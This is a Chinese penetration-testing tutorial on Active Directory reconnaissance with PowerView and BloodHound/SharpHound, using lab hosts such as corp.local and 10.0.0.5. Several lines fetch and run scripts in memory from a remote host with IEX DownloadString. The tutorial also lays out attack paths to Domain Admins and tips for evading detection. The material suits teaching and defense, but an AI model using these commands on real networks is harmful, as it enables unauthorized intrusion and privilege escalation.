网络安全Kali学习系列 · 第50篇

域信息收集:BloodHound 与 PowerView

内网渗透的侦察阶段 · 域内信息全自动测绘
📋 本篇导读
  • 域信息收集的目标与阶段划分
  • PowerView 常用命令速查(用户/组/OU/ACL)
  • BloodHound 工作原理与 SharpHound 采集器
  • BloodHound 图形化分析与攻击路径发现
  • 实战:从普通域用户到域管的路径挖掘

一、域信息收集概述

拿到域内一台机器的权限后,下一步不是直接攻击域控,而是摸清整个域的拓扑结构。域信息收集的质量直接决定后续渗透的效率和成功率。

1.1 收集目标清单

类别 收集内容 用途
域基本信息 域名、域控数量、林结构、信任关系 了解域规模
用户信息 用户列表、属性、组归属、最后登录时间 密码喷洒/钓鱼目标
计算机信息 主机列表、操作系统、SPN、本地管理员 横向移动目标
组信息 组列表、组成员、嵌套关系 权限提升路径
ACL/ACE 对象权限、GenericAll、WriteDACL、ForceChangePassword ACL 攻击路径
GPO/OU 组策略对象、OU 结构、GPLink GPO 攻击路径

1.2 收集阶段划分

阶段一:被动收集 — 不向 DC 发请求,仅从当前机器提取信息
当前用户、环境变量、缓存凭证、本地组、网络连接
阶段二:LDAP 查询 — 通过 LDAP 向 DC 查询域对象信息
用户/组/计算机/OU 列表、SPN、ACL(PowerView / AD Module)
阶段三:自动化测绘 — 使用工具批量采集并可视化分析
SharpHound 采集 + BloodHound 图形化分析攻击路径

二、PowerView 实战

PowerView 是 PowerSploit 框架中的域信息收集模块,通过 LDAP 查询实现域内侦察。它是理解 BloodHound 底层原理的基础。

2.1 加载与基础查询

PowerShell · PowerView 基础命令
1
2
3
4
5
6
7
8
9
10
11
12
# 下载并加载 PowerView(内存加载,不落盘)
IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.5/PowerView.ps1")
# 或本地加载
Import-Module .\PowerView.ps1
# 获取当前域信息
Get-NetDomain
# 获取域控制器列表
Get-NetDomainController
Get-NetDomainController | Select-Object Name, IPAddress

2.2 用户与组收集

PowerShell · 用户与组信息收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 获取所有域用户
Get-NetUser | Select-Object samaccountname, lastlogon, pwdlastset
# 查找设置了 SPN 的用户(Kerberoasting 目标)
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname
# 查找不受 Kerberos 预身份验证保护的用户(AS-REP 目标)
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# 获取域管理员组成员
Get-NetGroupMember "Domain Admins"
# 查找管理员组中的所有用户(递归展开嵌套组)
Get-NetGroupMember "Domain Admins" -Recurse | Select-Object MemberName
# 查找本地管理员组中的域用户(需要机器权限)
Get-NetLocalGroupMember -ComputerName WEB01 -GroupName "Administrators"

2.3 计算机与 SPN 收集

PowerShell · 计算机与 SPN 查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 获取所有域内计算机
Get-NetComputer | Select-Object name, operatingsystem, lastlogon
# 查找所有 SPN(服务主体名称)
Get-NetComputer | Get-NetSPN
# 按服务类型筛选 SPN
Get-NetSPN -ServiceTypes MSSQLSvc, HTTP, CIFS
# 查找域内所有共享文件夹
Invoke-ShareFinder -Verbose
# 查找未约束委派的主机(重要攻击面)
Get-NetComputer -Unconstrained | Select-Object name

2.4 ACL 与 OU 查询

PowerShell · ACL 权限查询
1
2
3
4
5
6
7
8
9
10
11
# 查询指定对象的 ACL(谁对它有什么权限)
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs
# 查找当前用户对哪些对象有 GenericAll 权限
Get-ObjectAcl -UserIdentity "currentuser" -Rights All | ?{$_.ActiveDirectoryRights -match "GenericAll"}
# 获取 OU 结构
Get-NetOU | Select-Object name, distinguishedname
# 获取 GPO 列表及其链接的 OU
Get-NetGPO | Select-Object displayname, gpcfilesyspath
💡 提示
PowerView 命令繁多,实际操作中通常不需要逐条手动执行。BloodHound / SharpHound 会自动完成所有信息的采集和关联分析,效率远高于手动查询。

三、BloodHound 原理与架构

BloodHound 是一款基于图数据库的 Active Directory 攻击路径可视化工具,由 SharpHound(采集端) 和 BloodHound(分析端) 两部分组成。

3.1 工作原理

采集端(SharpHound):C# 编写,运行在已控域内机器上,通过 LDAP 和 Windows API 收集域内所有对象及其关系。
输出:多个 JSON 文件(压缩为 ZIP),包含用户、组、计算机、ACL、会话、SPN 等数据
分析端(BloodHound):Electron 应用 + Neo4j 图数据库,将采集数据导入后以图的形式展示攻击路径。
内置多种预定义查询(Cypher),一键发现从普通用户到域管的最短路径

3.2 核心数据模型

节点类型 说明 示例
User 域用户账户 john@corp.local
Group 域组(含嵌套) Domain Admins
Computer 域内计算机 WEB01.corp.local
OU 组织单元 OU=Servers,DC=corp,DC=local
GPO 组策略对象 Default Domain Policy
Domain 域(根节点) corp.local

3.3 关键关系(边)

可用于权限提升的关键关系:
AdminTo — A 是 B 的本地管理员 MemberOf — A 是组 B 的成员
GenericAll — A 对 B 有完全控制 GenericWrite — A 可写 B 的属性
WriteDacl — A 可修改 B 的 DACL WriteOwner — A 可更改 B 的所有者
ForceChangePassword — A 可强制修改 B 的密码 AddMember — A 可向组 B 添加成员
DCSync — A 可复制 AD 数据(域管权限) HasSession — A 在 B 上有登录会话

四、SharpHound 数据采集

SharpHound 是 BloodHound 的数据采集器,有多种运行方式和采集模式。

4.1 运行方式

方式 说明 适用场景
SharpHound.exe 独立 EXE,直接运行 已获得 RDP / Shell
SharpHound.ps1 PowerShell 版本,Invoke-BloodHound PowerShell 环境可用
Covenant / SILENTTRINITY 作为 C2 任务执行 已有 C2 Beacon
Python / Rust 版本 bloodhound.py 等第三方实现 从 Linux 远程采集

4.2 常用采集命令

CMD / PowerShell · SharpHound 采集命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
:: EXE 版本 — 默认采集(推荐)
SharpHound.exe -c All --zipfilename output.zip
:: 指定采集方法(按需选择,减少流量)
SharpHound.exe -c Group, LocalAdmin, Session, ACL, DCOM, RDP
:: PowerShell 版本
IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.5/SharpHound.ps1")
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\tmp\
:: stealth 模式(仅采集 DC,不扫描其他机器)
SharpHound.exe -c DCOnly --zipfilename dc_only.zip
:: 指定目标域(跨域采集)
SharpHound.exe -d corp.local -c All

4.3 采集方法详解

方法 说明 噪声程度
Group 收集组信息和组成员关系 低
Session 通过 NetSessionEnum 查询每台机器的登录会话 中
LocalAdmin 查询每台机器的本地管理员组成员 中
LoggedOn 通过 NetWkstaUserEnum 查询当前登录用户(需要管理员权限) 高
ACL 收集对象的 ACL 权限 低
Trusts 收集域信任关系 低
Container 收集 OU 和 GPO 信息 低
DCOM / RDP 收集 DCOM / RDP 访问权限 中

五、BloodHound 图形化分析

将 SharpHound 采集的 ZIP 文件导入 BloodHound 后,即可进行图形化攻击路径分析。

5.1 BloodHound 安装(Kali Linux)

Bash · Kali 安装 BloodHound
1
2
3
4
5
6
7
8
9
10
11
# 1. 安装 Neo4j 图数据库
sudo apt install neo4j
# 2. 启动 Neo4j 服务
sudo neo4j start
# 默认地址: http://localhost:7474
# 默认账号: neo4j / neo4j(首次需修改密码)
# 3. 安装并启动 BloodHound
sudo apt install bloodhound
bloodhound

5.2 内置查询(Built-in Queries)

BloodHound 左侧面板提供了大量预定义查询,一键即可发现攻击路径。以下是最常用的查询:

查询名称 功能 优先级
Find Shortest Paths to Domain Admins 查找从任意节点到域管理员组的最短路径 ⭐ 最高
Find All Domain Admins 列出所有域管理员(含嵌套组成员) 高
Find Computers where Domain Admins are Admin 查找域管理员有本地管理权限的机器 高
Find Kerberoastable Users 查找设置了 SPN 的用户(Kerberoasting 目标) 中
Find AS-REP Roastable Users 查找不需要预身份验证的用户 中
Find Computers with Unconstrained Delegation 查找启用了未约束委派的机器 中
Find Users with Foreign Group Membership 查找跨域组的成员(信任关系利用) 中
Find Principals with DCSync Rights 查找拥有 DCSync 权限的账户 高

5.3 自定义 Cypher 查询

BloodHound 底层是 Neo4j 数据库,可以直接编写 Cypher 查询进行高级分析。

Cypher · 常用自定义查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 查找从当前用户到域管的最短路径
MATCH p=shortestPath(
(u:User {name:"JOHN@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
RETURN p
// 查找拥有 GenericAll 权限的所有关系
MATCH (n)-[r:GenericAll]->(m)
RETURN n.name, type(r), m.name
// 查找可通过 ACL 攻击到达域管的所有用户
MATCH (u:User)-[r:GenericAll|WriteDacl|ForceChangePassword]->(target)
WHERE target.name = "DOMAIN ADMINS@CORP.LOCAL"
RETURN u.name, type(r)

六、实战:从普通用户到域管

以下演示一个典型的内网域渗透侦察流程,展示 BloodHound 如何帮助快速定位攻击路径。

6.1 场景描述

• 已获得一台内网机器 WEB01 的普通域用户权限(john / 普通域用户)
• 目标:找到到达域管理员的攻击路径
• 工具:SharpHound.ps1 + BloodHound

6.2 操作步骤

PowerShell · 实战采集流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Step 1: 内存加载 SharpHound
IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.5/SharpHound.ps1")
# Step 2: 执行全量采集(输出到临时目录)
Invoke-BloodHound -CollectionMethod All `
-OutputDirectory C:\Windows\Temp\ `
-OutputPrefix "corp_recon"
# Step 3: 将生成的 ZIP 文件传回 Kali
# (通过已有的 C2 通道或其他方式下载)
# Step 4: 导入 BloodHound
# 打开 BloodHound -> 拖拽 ZIP 到窗口 -> 自动导入
# Step 5: 搜索当前用户 john,查看攻击路径
# 右键节点 -> "Shortest Paths to Domain Admins"

6.3 常见攻击路径模式

BloodHound 中最常见的攻击路径:
路径一:本地管理员链
普通用户 → (AdminTo) 机器A → (HasSession) 高权限用户 → (AdminTo) 机器B → ... → 域管
路径二:ACL 权限滥用
普通用户 → (GenericAll) 组A → (MemberOf) 组B → (GenericAll) 域管组
路径三:Kerberoasting
普通用户 → (SPN) 服务账户 → (破解 TGS) 服务账户密码 → (MemberOf) 高权限组
路径四:GPO 攻击
普通用户 → (WriteDacl/EditSettings) GPO → (GPLink) OU → (Contains) 机器/用户 → 域管
路径五:委派攻击
控制有约束委派的服务账户 → 伪造 S4U2Self/S4U2Proxy → 访问目标服务

七、隐蔽采集与反检测

SharpHound 会产生大量 LDAP 查询和 SMB 连接,容易被蓝队检测到。以下是一些降低噪声的技巧。

7.1 降低检测概率的方法

策略 说明 效果
DCOnly 模式 仅从 DC 查询 LDAP,不扫描其他机器 大幅降低噪声
指定采集方法 只采集必要的数据,跳过 Session / LoggedOn 等高噪声方法 显著降低
Stealth 选项 --Stealth 参数使用更隐蔽的采集方式(仅部分方法) 中等降低
分批采集 分多次运行,每次只采集一部分数据 时间分散
bloodhound.py 从 Linux 通过 LDAP 远程采集,不接触域内机器 最隐蔽

7.2 bloodhound.py 远程采集

Bash · bloodhound.py 远程采集示例
1
2
3
4
5
6
7
8
9
# 安装
pip install bloodhound
# 使用普通域用户凭证从外部采集(仅 LDAP)
bloodhound-python -d corp.local -u john -p 'Passw0rd!' `
-ns 10.0.0.10 -c All --zip
# 使用 Kerberos 认证(需要有效 TGT)
bloodhound-python -d corp.local -u john -k -c All --zip
⚠️ 注意
bloodhound.py 通过 LDAP 查询只能获取 AD 对象属性,无法获取本地管理员组、登录会话等需要远程连接机器的信息。数据完整性不如 SharpHound.exe,但更隐蔽。

八、小结

🔑 本篇要点
  • 域信息收集是内网渗透的基础,分为被动收集、LDAP 查询、自动化测绘三个阶段
  • PowerView 是手动 LDAP 查询的利器,可查询用户、组、计算机、SPN、ACL 等信息
  • BloodHound 由 SharpHound(采集端)+ Neo4j(图数据库)+ 前端(可视化)组成
  • 核心数据模型:节点(User/Group/Computer/OU/GPO)+ 边(AdminTo/MemberOf/GenericAll 等)
  • 内置查询一键发现攻击路径,也支持自定义 Cypher 查询进行深度分析
  • 常见攻击路径:本地管理员链、ACL 滥用、Kerberoasting、GPO 攻击、委派攻击
  • 隐蔽采集可使用 DCOnly 模式、指定采集方法、或 bloodhound.py 远程 LDAP 查询
下一篇预告
第 51 篇:Kerberos 攻击 — Kerberoasting 与 AS-REP Roasting
详解 Kerberos 协议弱点与两大经典攻击手法
网络安全Kali学习系列 · 第50篇 · 域信息收集:BloodHound与PowerView